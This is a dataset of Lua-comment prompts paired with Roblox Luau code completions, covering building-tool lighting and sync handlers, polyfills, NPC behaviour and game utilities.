prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--[=[
@tag Component Class
`Stop` is called when the component is stopped. This occurs either when the
bound instance is removed from one of the whitelisted ancestors _or_ when
the matching tag is removed from the instance. This also means that the
instance _might_ be destroyed, and thus it is not safe to continue using
the bound instance (e.g. `self.Instance`) any longer.
This should be used to clean up the component.
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
function MyComponent:Stop()
self.SomeStuff:Destroy()
end
```
]=]
|
function Component:Stop() end
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(21)
|
--[[*
* Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
]]
|
local CurrentModule = script.Parent
local Packages = CurrentModule.Parent
local exports = {}
local chalk = require(Packages.ChalkLua)
local clearLine = require(script.Parent.clearLine).default
local isInteractive = require(script.Parent.isInteractive).default
local RobloxShared = require(Packages.RobloxShared)
type Writeable = RobloxShared.Writeable
local function print(stream: Writeable): ()
if isInteractive then
stream:write(chalk.bold.dim("Determining test suites to run..."))
end
end
exports.print = print
local function remove(stream: Writeable): ()
if isInteractive then
clearLine(stream)
end
end
exports.remove = remove
return exports
|
--!strict
|
local Array = script.Parent
local LuauPolyfill = Array.Parent
local isArray = require(Array.isArray)
local instanceof = require(LuauPolyfill.instanceof)
local Set = require(LuauPolyfill.Set)
local Map = require(LuauPolyfill.Map)
local fromString = require(script.fromString)
local fromSet = require(script.fromSet)
local fromMap = require(script.fromMap)
local fromArray = require(script.fromArray)
local types = require(LuauPolyfill.types)
type Array<T> = types.Array<T>
type Object = types.Object
type Set<T> = types.Set<T>
type Map<K, V> = types.Map<K, V>
type mapFn<T, U> = (element: T, index: number) -> U
type mapFnWithThisArg<T, U> = (thisArg: any, element: T, index: number) -> U
return function<T, U>(
value: string | Array<T> | Set<T> | Map<any, any>,
mapFn: (mapFn<T, U> | mapFnWithThisArg<T, U>)?,
thisArg: Object?
-- FIXME Luau: need overloading so the return type on this is more sane and doesn't require manual casts
): Array<U> | Array<T> | Array<string>
if value == nil then
error("cannot create array from a nil value")
end
local valueType = typeof(value)
local array: Array<U> | Array<T> | Array<string>
if valueType == "table" and isArray(value) then
array = fromArray(value :: Array<T>, mapFn, thisArg)
elseif instanceof(value, Set) then
array = fromSet(value :: Set<T>, mapFn, thisArg)
elseif instanceof(value, Map) then
array = fromMap(value :: Map<any, any>, mapFn, thisArg)
elseif valueType == "string" then
array = fromString(value :: string, mapFn, thisArg)
else
array = {}
end
return array
end
|
--Old R15 code
|
local Head = Character:WaitForChild("Head")
|
-- Initialize the tool
|
local ResizeTool = {
Name = 'Resize Tool';
Color = BrickColor.new 'Cyan';
-- Default options
Increment = 1;
Directions = 'Normal';
}
ResizeTool.ManualText = [[<font face="GothamBlack" size="16">Resize Tool 🛠</font>
Allows you to resize parts.<font size="12"><br /></font>
<font size="12" color="rgb(150, 150, 150)"><b>Directions</b></font>
Lets you choose in which directions to resize the part.<font size="6"><br /></font>
<b>TIP: </b>Click on a part to focus the handles on it.<font size="6"><br /></font>
<b>TIP: </b>Hit <b>Enter</b> to switch between directions quickly.<font size="12"><br /></font>
<font size="12" color="rgb(150, 150, 150)"><b>Increment</b></font>
Lets you choose how many studs to resize by.<font size="6"><br /></font>
<b>TIP: </b>Hit the – key to quickly type increments.<font size="6"><br /></font>
<b>TIP: </b>Use your number pad to resize exactly by the current increment. Holding <b>Shift</b> reverses the increment.<font size="4"><br /></font>
<font color="rgb(150, 150, 150)">•</font> 8 & 2 — up & down
<font color="rgb(150, 150, 150)">•</font> 1 & 9 — back & forth
<font color="rgb(150, 150, 150)">•</font> 4 & 6 — left & right<font size="12"><br /></font>
<font size="12" color="rgb(150, 150, 150)"><b>Snapping</b></font>
Hold the <b><i>R</i></b> key, and <b>click and drag the snap point</b> of a part (in the direction you want to resize) towards the snap point of another part, to resize up to that point.
]]
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Money.Gold.Value >= 70
end
|
-- List of creatable light types
|
local LightTypes = { 'SpotLight', 'PointLight', 'SurfaceLight' };
function OpenLightOptions(LightType)
-- Opens the settings UI for the given light type
-- Get the UI
local UI = LightingTool.UI[LightType];
local UITemplate = Core.Tool.Interfaces.BTLightingToolGUI[LightType];
-- Close up all light option UIs
CloseLightOptions(LightType);
-- Calculate how much to expand this options UI by
local HeightExpansion = UDim2.new(0, 0, 0, UITemplate.Options.Size.Y.Offset);
-- Start the options UI size from 0
UI.Options.Size = UDim2.new(UI.Options.Size.X.Scale, UI.Options.Size.X.Offset, UI.Options.Size.Y.Scale, 0);
-- Allow the options UI to be seen
UI.ClipsDescendants = false;
-- Perform the options UI resize animation
UI.Options:TweenSize(
UITemplate.Options.Size + HeightExpansion,
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true,
function ()
-- Allow visibility of overflowing UIs within the options UI
UI.Options.ClipsDescendants = false;
end
);
-- Expand the main UI to accommodate the expanded options UI
LightingTool.UI:TweenSize(
Core.Tool.Interfaces.BTLightingToolGUI.Size + HeightExpansion,
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true
);
-- Push any UIs below this one downwards
local LightTypeIndex = Support.FindTableOccurrence(LightTypes, LightType);
for LightTypeIndex = LightTypeIndex + 1, #LightTypes do
-- Get the UI
local LightType = LightTypes[LightTypeIndex];
local UI = LightingTool.UI[LightType];
-- Perform the position animation
UI:TweenPosition(
UDim2.new(
UI.Position.X.Scale,
UI.Position.X.Offset,
UI.Position.Y.Scale,
30 + 30 * (LightTypeIndex - 1) + HeightExpansion.Y.Offset
),
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true
);
end;
-- Enable surface setting by clicking
EnableSurfaceClickSelection(LightType);
end;
function CloseLightOptions(Exception)
-- Closes all light options, except the one for the given light type
-- Go through each light type
for LightTypeIndex, LightType in pairs(LightTypes) do
-- Get the UI for each light type
local UI = LightingTool.UI[LightType];
local UITemplate = Core.Tool.Interfaces.BTLightingToolGUI[LightType];
-- Remember the initial size for each options UI
local InitialSize = UITemplate.Options.Size;
-- Move each light type UI to its starting position
UI:TweenPosition(
UDim2.new(
UI.Position.X.Scale,
UI.Position.X.Offset,
UI.Position.Y.Scale,
30 + 30 * (LightTypeIndex - 1)
),
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true
);
-- Make sure to not resize the exempt light type UI
if not Exception or Exception and LightType ~= Exception then
-- Allow the options UI to be resized
UI.Options.ClipsDescendants = true;
-- Perform the resize animation to close up
UI.Options:TweenSize(
UDim2.new(UI.Options.Size.X.Scale, UI.Options.Size.X.Offset, UI.Options.Size.Y.Scale, 0),
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true,
function ()
-- Hide the option UI
UI.ClipsDescendants = true;
-- Set the options UI's size to its initial size (for reexpansion)
UI.Options.Size = InitialSize;
end
);
end;
end;
-- Contract the main UI if no option UIs are being opened
if not Exception then
LightingTool.UI:TweenSize(
Core.Tool.Interfaces.BTLightingToolGUI.Size,
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true
);
end;
end;
function UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not LightingTool.UI then
return;
end;
-- Go through each light type and update each options UI
for _, LightType in pairs(LightTypes) do
local Lights = GetLights(LightType);
local LightSettingsUI = LightingTool.UI[LightType];
-- Option input references
local Options = LightSettingsUI.Options;
local RangeInput = Options.RangeOption.Input.TextBox;
local BrightnessInput = Options.BrightnessOption.Input.TextBox;
local ColorIndicator = Options.ColorOption.Indicator;
local ShadowsCheckbox = Options.ShadowsOption.Checkbox;
-- Add/remove button references
local AddButton = LightSettingsUI.AddButton;
local RemoveButton = LightSettingsUI.RemoveButton;
-- Hide option UIs for light types not present in the selection
if #Lights == 0 and not LightSettingsUI.ClipsDescendants then
CloseLightOptions();
end;
-------------------------------------------
-- Show and hide "ADD" and "REMOVE" buttons
-------------------------------------------
-- If no selected parts have lights
if #Lights == 0 then
-- Show add button only
AddButton.Visible = true;
AddButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5, 0, 3);
RemoveButton.Visible = false;
-- If only some selected parts have lights
elseif #Lights < #Selection.Parts then
-- Show both add and remove buttons
AddButton.Visible = true;
AddButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5, 0, 3);
RemoveButton.Visible = true;
RemoveButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5 - RemoveButton.AbsoluteSize.X - 2, 0, 3);
-- If all selected parts have lights
elseif #Lights == #Selection.Parts then
-- Show remove button
RemoveButton.Visible = true;
RemoveButton.Position = UDim2.new(1, -RemoveButton.AbsoluteSize.X - 5, 0, 3);
AddButton.Visible = false;
end;
--------------------
-- Update each input
--------------------
-- Update the standard inputs
UpdateDataInputs {
[RangeInput] = Support.Round(Support.IdentifyCommonProperty(Lights, 'Range'), 2) or '*';
[BrightnessInput] = Support.Round(Support.IdentifyCommonProperty(Lights, 'Brightness'), 2) or '*';
};
-- Update type-specific inputs
if LightType == 'SpotLight' or LightType == 'SurfaceLight' then
-- Update the angle input
local AngleInput = Options.AngleOption.Input.TextBox;
UpdateDataInputs {
[AngleInput] = Support.Round(Support.IdentifyCommonProperty(Lights, 'Angle'), 2) or '*';
};
-- Update the surface dropdown input
local Face = Support.IdentifyCommonProperty(Lights, 'Face')
local SurfaceKey = 'Current' .. LightType .. 'Side'
if LightingTool[SurfaceKey] ~= Face then
LightingTool[SurfaceKey] = Face
LightingTool.OnSideChanged:Fire()
end
end
-- Update special color input
local Color = Support.IdentifyCommonProperty(Lights, 'Color');
if Color then
ColorIndicator.BackgroundColor3 = Color;
ColorIndicator.Varies.Text = '';
else
ColorIndicator.BackgroundColor3 = Color3.new(222/255, 222/255, 222/255);
ColorIndicator.Varies.Text = '*';
end;
-- Update the special shadows input
local ShadowsEnabled = Support.IdentifyCommonProperty(Lights, 'Shadows');
if ShadowsEnabled == true then
ShadowsCheckbox.Image = Core.Assets.CheckedCheckbox;
elseif ShadowsEnabled == false then
ShadowsCheckbox.Image = Core.Assets.UncheckedCheckbox;
elseif ShadowsEnabled == nil then
ShadowsCheckbox.Image = Core.Assets.SemicheckedCheckbox;
end;
end;
end;
function UpdateDataInputs(Data)
-- Updates the data in the given TextBoxes when the user isn't typing in them
-- Go through the inputs and data
for Input, UpdatedValue in pairs(Data) do
-- Makwe sure the user isn't typing into the input
if not Input:IsFocused() then
-- Set the input's value
Input.Text = tostring(UpdatedValue);
end;
end;
end;
function AddLights(LightType)
-- Prepare the change request for the server
local Changes = {};
-- Go through the selection
for _, Part in pairs(Selection.Parts) do
-- Make sure this part doesn't already have a light
if not Support.GetChildOfClass(Part, LightType) then
-- Queue a light to be created for this part
table.insert(Changes, { Part = Part, LightType = LightType });
end;
end;
-- Send the change request to the server
local Lights = Core.SyncAPI:Invoke('CreateLights', Changes);
-- Put together the history record
local HistoryRecord = {
Lights = Lights;
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select changed parts
Selection.Replace(Record.Selection)
-- Remove the lights
Core.SyncAPI:Invoke('Remove', Record.Lights);
end;
Apply = function (Record)
-- Reapplies this change
-- Restore the lights
Core.SyncAPI:Invoke('UndoRemove', Record.Lights);
-- Select changed parts
Selection.Replace(Record.Selection)
end;
};
-- Register the history record
Core.History.Add(HistoryRecord);
-- Open the options UI for this light type
OpenLightOptions(LightType);
end;
function RemoveLights(LightType)
-- Get all the lights in the selection
local Lights = GetLights(LightType);
-- Create the history record
local HistoryRecord = {
Lights = Lights;
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Restore the lights
Core.SyncAPI:Invoke('UndoRemove', Record.Lights);
-- Select changed parts
Selection.Replace(Record.Selection)
end;
Apply = function (Record)
-- Reapplies this change
-- Select changed parts
Selection.Replace(Record.Selection)
-- Remove the lights
Core.SyncAPI:Invoke('Remove', Record.Lights);
end;
};
-- Send the removal request
Core.SyncAPI:Invoke('Remove', Lights);
-- Register the history record
Core.History.Add(HistoryRecord);
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Before = {};
After = {};
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Send the change request
Core.SyncAPI:Invoke('SyncLighting', Record.Before);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Send the change request
Core.SyncAPI:Invoke('SyncLighting', Record.After);
end;
};
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Send the change to the server
Core.SyncAPI:Invoke('SyncLighting', HistoryRecord.After);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
function SetRange(LightType, Range)
-- Make sure the given range is valid
if not Range then
return;
end;
-- Start a history record
TrackChange();
-- Go through each light
for _, Light in pairs(GetLights(LightType)) do
-- Store the state of the light before modification
table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Range = Light.Range });
-- Create the change request for this light
table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Range = Range });
end;
-- Register the changes
RegisterChange();
end;
function SetBrightness(LightType, Brightness)
-- Make sure the given brightness is valid
if not Brightness then
return;
end;
-- Start a history record
TrackChange();
-- Go through each light
for _, Light in pairs(GetLights(LightType)) do
-- Store the state of the light before modification
table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Brightness = Light.Brightness });
-- Create the change request for this light
table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Brightness = Brightness });
end;
-- Register the changes
RegisterChange();
end;
function SetColor(LightType, Color)
-- Make sure the given color is valid
if not Color then
return;
end;
-- Start a history record
TrackChange();
-- Go through each light
for _, Light in pairs(GetLights(LightType)) do
-- Store the state of the light before modification
table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Color = Light.Color });
-- Create the change request for this light
table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Color = Color });
end;
-- Register the changes
RegisterChange();
end;
local PreviewInitialState = nil
function PreviewColor(LightType, Color)
-- Previews the given color on the selection
-- Reset colors to initial state if previewing is over
if not Color and PreviewInitialState then
for Light, State in pairs(PreviewInitialState) do
Light.Color = State.Color
end
-- Clear initial state
PreviewInitialState = nil
-- Skip rest of function
return
-- Ensure valid color is given
elseif not Color then
return
-- Save initial state if first time previewing
elseif not PreviewInitialState then
PreviewInitialState = {}
for _, Light in pairs(GetLights(LightType)) do
PreviewInitialState[Light] = { Color = Light.Color }
end
end
-- Apply preview color
for Light in pairs(PreviewInitialState) do
Light.Color = Color
end
end
function ToggleShadows(LightType)
-- Determine whether to turn shadows on or off
local ShadowsEnabled = not Support.IdentifyCommonProperty(GetLights(LightType), 'Shadows');
-- Start a history record
TrackChange();
-- Go through each light
for _, Light in pairs(GetLights(LightType)) do
-- Store the state of the light before modification
table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Shadows = Light.Shadows });
-- Create the change request for this light
table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Shadows = ShadowsEnabled });
end;
-- Register the changes
RegisterChange();
end;
function SetSurface(LightType, Face)
-- Make sure the given face is valid, and this is an applicable light type
if not Face or not (LightType == 'SurfaceLight' or LightType == 'SpotLight') then
return;
end;
LightingTool['Current' .. LightType .. 'Side'] = Face
-- Start a history record
TrackChange();
-- Go through each light
for _, Light in pairs(GetLights(LightType)) do
-- Store the state of the light before modification
table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Face = Light.Face });
-- Create the change request for this light
table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Face = Face });
end;
-- Register the changes
RegisterChange();
end;
function SetAngle(LightType, Angle)
-- Make sure the given angle is valid
if not Angle then
return;
end;
-- Start a history record
TrackChange();
-- Go through each light
for _, Light in pairs(GetLights(LightType)) do
-- Store the state of the light before modification
table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Angle = Light.Angle });
-- Create the change request for this light
table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Angle = Angle });
end;
-- Register the changes
RegisterChange();
end;
|
--This uses a 24 hour format.
--This example uses 18:00 to 7:30, or 6 PM to 7:30 AM
|
local time1 = 18 --18:00, or 6:00 PM
local time2 = 7.5 --07:30, or 7:30 AM
function event1() --Event when the time is within your designated time.
Light.Enabled = true
LightSource.Material = "Neon"
end
function event2() --Event when the time is outside your designated time.
Light.Enabled = false
LightSource.Material = "SmoothPlastic"
end
function onChanged()
if time2 <= time1 then
if l:GetMinutesAfterMidnight() >= toMinutes(time1) or l:GetMinutesAfterMidnight() <= toMinutes(time2) then
event1()
else
event2()
end
elseif time2 >= time1 then
if l:GetMinutesAfterMidnight() >= toMinutes(time1) and l:GetMinutesAfterMidnight() <= toMinutes(time2) then
event1()
else
event2()
end
end
end
l.Changed:connect(onChanged)
|
-- Libraries
|
local Support = require(Libraries:WaitForChild 'SupportLibrary')
local Roact = require(Vendor:WaitForChild 'Roact')
local Maid = require(Libraries:WaitForChild 'Maid')
|
--[[
Takes a table and returns a list of keys in that table
]]
|
local function listOfKeys(t)
local result = {}
for key,_ in pairs(t) do
table.insert(result, key)
end
return result
end
|
-- TODO: retry multiple time if HTTP call fail
|
local function getTextureId(id: number): number?
local assetInfo = MarketplaceService:GetProductInfo(id, Enum.InfoType.Asset)
if assetInfo.AssetTypeId == Enum.AssetType.Image.Value then
return id
elseif assetInfo.AssetTypeId == Enum.AssetType.Decal.Value then
return HttpService:GetAsync(`http://f3xteam.com/bt/getDecalImageID/{id}`)
end
return
end
Remote.OnServerEvent:Connect(function(plr, id: number | string)
if Helper.Owner ~= plr then
return
end
local assetId = tonumber(tostring(id):match("%d+") or 0) :: number
if assetId == 0 then
Decal.Texture = ""
return
end
local textureId = getTextureId(assetId)
if not textureId then
Decal.Texture = ""
return
end
if textureId == 0 then
Decal.Texture = ""
else
Decal.Texture = `rbxassetid://{textureId}`
end
end)
|
--easter egg
|
mouse.KeyDown:connect(function(key)
if key=="u" and script.Blown.Value == false then
Heat = Heat+10
end
end)
|
--health.Changed:connect(function()
--root.Velocity = Vector3.new(0,5000,0)
--end)
|
local anims = {}
local lastAttack= tick()
local target,targetType
local lastLock = tick()
local fleshDamage = 25
local structureDamage = 15
local path = nil
for _,animObject in next,animations do
anims[animObject.Name] = hum:LoadAnimation(animObject)
end
function Attack(thing,dmg)
if tick()-lastAttack > 2 then
hum:MoveTo(root.Position)
lastAttack = tick()
anims.AntWalk:Stop()
anims.AntMelee:Play()
if thing.ClassName == "Player" then
root.FleshHit:Play()
ant:SetPrimaryPartCFrame(CFrame.new(root.Position,Vector3.new(target.Character.PrimaryPart.Position.X,root.Position.Y,target.Character.PrimaryPart.Position.Z)))
elseif thing.ClassName == "Model" then
root.StructureHit:Play()
end
rep.Events.NPCAttack:Fire(thing,dmg)
end
end
function Move(point)
hum:MoveTo(point)
if not anims.AntWalk.IsPlaying then
anims.AntWalk:Play()
end
end
function ScanForPoint()
local newPoint
local rayDir = Vector3.new(math.random(-100,100)/100,0,math.random(-100,100)/100)
local ray = Ray.new(root.Position,rayDir*math.random(10,50),ant)
local part,pos = workspace:FindPartOnRay(ray)
Move(pos)
enRoute = true
end
|
-- you don't have to change these if you chose auto setup
-- put these to true if you have these plugins in your car, otherwise leave them as false
|
smoke = true
backfire = false
horn = true
brakewhistle = true
ignition = false
audioname = "Start" -- the name of your startup audio (defaults as "Start") (only works with ignition on)
|
--
|
local Triangle = {}
Triangle.__index = Triangle
function Triangle.new(parent)
local self = setmetatable({}, Triangle)
self.a = nil
self.b = nil
self.c = nil
self.WedgeA = WEDGE:Clone()
self.WedgeB = WEDGE:Clone()
self.Parent = parent
return self
end
|
-- ALEX WAS HERE LOL
|
local u1 = nil;
coroutine.wrap(function()
u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
end)();
local u2 = Random.new();
return function(t)
local _tick = tick()
while (tick() - _tick) < t do
u1.RunService.Heartbeat:Wait()
end
end
|
---- Leave this the same
--game.ReplicatedStorage.TypeOutText.OnClientEvent:Connect(function(Text)
-- Typewrite(Text)
--end)
|
local dm = require(script.Parent.DialogueHandler)
game.ReplicatedStorage.Dialogue.OnClientEvent:Connect(function(text: string)
dm.display(text)
end)
|
--Don't Delete This Script Because It's The One That Makes The Script
--Work I swear It's Not A FAKE one.
|
local error = "Delete"
|
-- List of actions that could be requested
|
Actions = {
['RecolorHandle'] = function (NewColor)
-- Recolors the tool handle
Tool.Handle.BrickColor = NewColor;
end;
['Clone'] = function (Items, Parent)
-- Clones the given items
-- Validate arguments
assert(type(Items) == 'table', 'Invalid items')
assert(typeof(Parent) == 'Instance', 'Invalid parent')
assert(Security.IsLocationAllowed(Parent, Player), 'Permission denied for client')
-- Check if items modifiable
if not CanModifyItems(Items) then
return {}
end
-- Check if parts intruding into private areas
local Parts = GetPartsFromSelection(Items)
if Security.ArePartsViolatingAreas(Parts, Player, false) then
return {}
end
local Clones = {}
-- Clone items
for _, Item in pairs(Items) do
local Clone = Item:Clone()
Clone.Parent = Parent
-- Register the clone
table.insert(Clones, Clone)
CreatedInstances[Item] = Item
end
-- Return the clones
return Clones
end;
['CreatePart'] = function (PartType, Position, Parent)
-- Creates a new part based on `PartType`
-- Validate requested parent
assert(typeof(Parent) == 'Instance', 'Invalid parent')
assert(Security.IsLocationAllowed(Parent, Player), 'Permission denied for client')
-- Create the part
local NewPart = CreatePart(PartType);
-- Position the part
NewPart.CFrame = Position;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas({ NewPart }), Player);
-- Make sure the player is allowed to create parts in the area
if Security.ArePartsViolatingAreas({ NewPart }, Player, false, AreaPermissions) then
return;
end;
-- Parent the part
NewPart.Parent = Parent
-- Register the part
CreatedInstances[NewPart] = NewPart;
-- Return the part
return NewPart;
end;
['CreateGroup'] = function (Type, Parent, Items)
-- Creates a new group of type `Type`
local ValidGroupTypes = {
Model = true,
Folder = true
}
-- Validate arguments
assert(ValidGroupTypes[Type], 'Invalid group type')
assert(typeof(Parent) == 'Instance', 'Invalid parent')
assert(Security.IsLocationAllowed(Parent, Player), 'Permission denied for client')
-- Check if items selectable
if not CanModifyItems(Items) then
return
end
-- Check if parts intruding into private areas
local Parts = GetPartsFromSelection(Items)
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player)
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return
end
-- Create group
local Group = Instance.new(Type)
-- Attach children
for _, Item in pairs(Items) do
Item.Parent = Group
end
-- Parent group
Group.Parent = Parent
-- Make joints
if Type == 'Model' then
Group:MakeJoints()
elseif Type == 'Folder' then
local Parts = Support.GetDescendantsWhichAreA(Group, 'BasePart')
for _, Part in pairs(Parts) do
Part:MakeJoints()
end
end
-- Return the new group
return Group
end,
['Ungroup'] = function (Groups)
-- Validate arguments
assert(type(Groups) == 'table', 'Invalid groups')
-- Check if items modifiable
if not CanModifyItems(Groups) then
return
end
-- Check if parts intruding into private areas
local Parts = GetPartsFromSelection(Groups)
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player)
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return
end
local Results = {}
-- Check each group
for Key, Group in ipairs(Groups) do
assert(typeof(Group) == 'Instance', 'Invalid group')
-- Track group children
local Children = {}
Results[Key] = Children
-- Unpack group children into parent
local NewParent = Group.Parent
for _, Child in pairs(Group:GetChildren()) do
LastParents[Child] = Group
Children[#Children + 1] = Child
Child.Parent = NewParent
if Child:IsA 'BasePart' then
Child:MakeJoints()
elseif Child:IsA 'Folder' then
local Parts = Support.GetDescendantsWhichAreA(Child, 'BasePart')
for _, Part in pairs(Parts) do
Part:MakeJoints()
end
end
end
-- Track removing group
LastParents[Group] = Group.Parent
CreatedInstances[Group] = Group
-- Remove group
Group.Parent = nil
end
return Results
end,
['SetParent'] = function (Items, Parent)
-- Validate arguments
assert(type(Items) == 'table', 'Invalid items')
assert(type(Parent) == 'table' or typeof(Parent) == 'Instance', 'Invalid parent')
-- Check if items modifiable
if not CanModifyItems(Items) then
return
end
-- Check if parts intruding into private areas
local Parts = GetPartsFromSelection(Items)
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player)
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return
end
-- Move each item to different parent
if type(Parent) == 'table' then
for Key, Item in pairs(Items) do
local Parent = Parent[Key]
-- Check if parent allowed
assert(Security.IsLocationAllowed(Parent, Player), 'Permission denied for client')
-- Move item
Item.Parent = Parent
if Item:IsA 'BasePart' then
Item:MakeJoints()
elseif Item:IsA 'Folder' then
local Parts = Support.GetDescendantsWhichAreA(Item, 'BasePart')
for _, Part in pairs(Parts) do
Part:MakeJoints()
end
end
end
-- Move to single parent
elseif typeof(Parent) == 'Instance' then
assert(Security.IsLocationAllowed(Parent, Player), 'Permission denied for client')
-- Reparent items
for _, Item in pairs(Items) do
Item.Parent = Parent
if Item:IsA 'BasePart' then
Item:MakeJoints()
elseif Item:IsA 'Folder' then
local Parts = Support.GetDescendantsWhichAreA(Item, 'BasePart')
for _, Part in pairs(Parts) do
Part:MakeJoints()
end
end
end
end
end,
['SetName'] = function (Items, Name)
-- Validate arguments
assert(type(Items) == 'table', 'Invalid items')
assert(type(Name) == 'table' or type(Name) == 'string', 'Invalid name')
-- Check if items modifiable
if not CanModifyItems(Items) then
return
end
-- Check if parts intruding into private areas
local Parts = GetPartsFromSelection(Items)
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player)
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return
end
-- Rename each item to a different name
if type(Name) == 'table' then
for Key, Item in pairs(Items) do
local Name = Name[Key]
Item.Name = Name
end
-- Rename to single name
elseif type(Name) == 'string' then
for _, Item in pairs(Items) do
Item.Name = Name
end
end
end,
['Remove'] = function (Objects)
-- Removes the given objects
-- Get the relevant parts for each object, for permission checking
local Parts = {};
-- Go through the selection
for _, Object in pairs(Objects) do
-- Make sure the object still exists
if Object then
if Object:IsA 'BasePart' then
table.insert(Parts, Object);
elseif Object:IsA 'Smoke' or Object:IsA 'Fire' or Object:IsA 'Sparkles' or Object:IsA 'DataModelMesh' or Object:IsA 'Decal' or Object:IsA 'Texture' or Object:IsA 'Light' then
table.insert(Parts, Object.Parent);
elseif Object:IsA 'Model' or Object:IsA 'Folder' then
Support.ConcatTable(Parts, Support.GetDescendantsWhichAreA(Object, 'BasePart'))
end
end;
end;
-- Check if items modifiable
if not CanModifyItems(Objects) then
return
end
-- Check if parts intruding into private areas
if Security.ArePartsViolatingAreas(Parts, Player, true) then
return
end
-- After confirming permissions, perform each removal
for _, Object in pairs(Objects) do
-- Store the part's current parent
LastParents[Object] = Object.Parent;
-- Register the object
CreatedInstances[Object] = Object;
-- Set the object's current parent to `nil`
Object.Parent = nil;
end;
end;
['UndoRemove'] = function (Objects)
-- Restores the given removed objects to their last parents
-- Get the relevant parts for each object, for permission checking
local Parts = {};
-- Go through the selection
for _, Object in pairs(Objects) do
-- Make sure the object still exists, and that its last parent is registered
if Object and LastParents[Object] then
if Object:IsA 'BasePart' then
table.insert(Parts, Object);
elseif Object:IsA 'Smoke' or Object:IsA 'Fire' or Object:IsA 'Sparkles' or Object:IsA 'DataModelMesh' or Object:IsA 'Decal' or Object:IsA 'Texture' or Object:IsA 'Light' then
table.insert(Parts, Object.Parent);
elseif Object:IsA 'Model' or Object:IsA 'Folder' then
Support.ConcatTable(Parts, Support.GetDescendantsWhichAreA(Object, 'BasePart'))
end
end;
end;
-- Check if items modifiable
if not CanModifyItems(Objects) then
return
end
-- Check if parts intruding into private areas
if Security.ArePartsViolatingAreas(Parts, Player, false) then
return
end
-- After confirming permissions, perform each removal
for _, Object in pairs(Objects) do
-- Store the part's current parent
local LastParent = LastParents[Object];
LastParents[Object] = Object.Parent;
-- Register the object
CreatedInstances[Object] = Object;
-- Set the object's parent to the last parent
Object.Parent = LastParent;
-- Make joints
if Object:IsA 'BasePart' then
Object:MakeJoints()
else
local Parts = Support.GetDescendantsWhichAreA(Object, 'BasePart')
for _, Part in pairs(Parts) do
Part:MakeJoints()
end
end
end;
end;
['SyncMove'] = function (Changes)
-- Updates parts server-side given their new CFrames
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
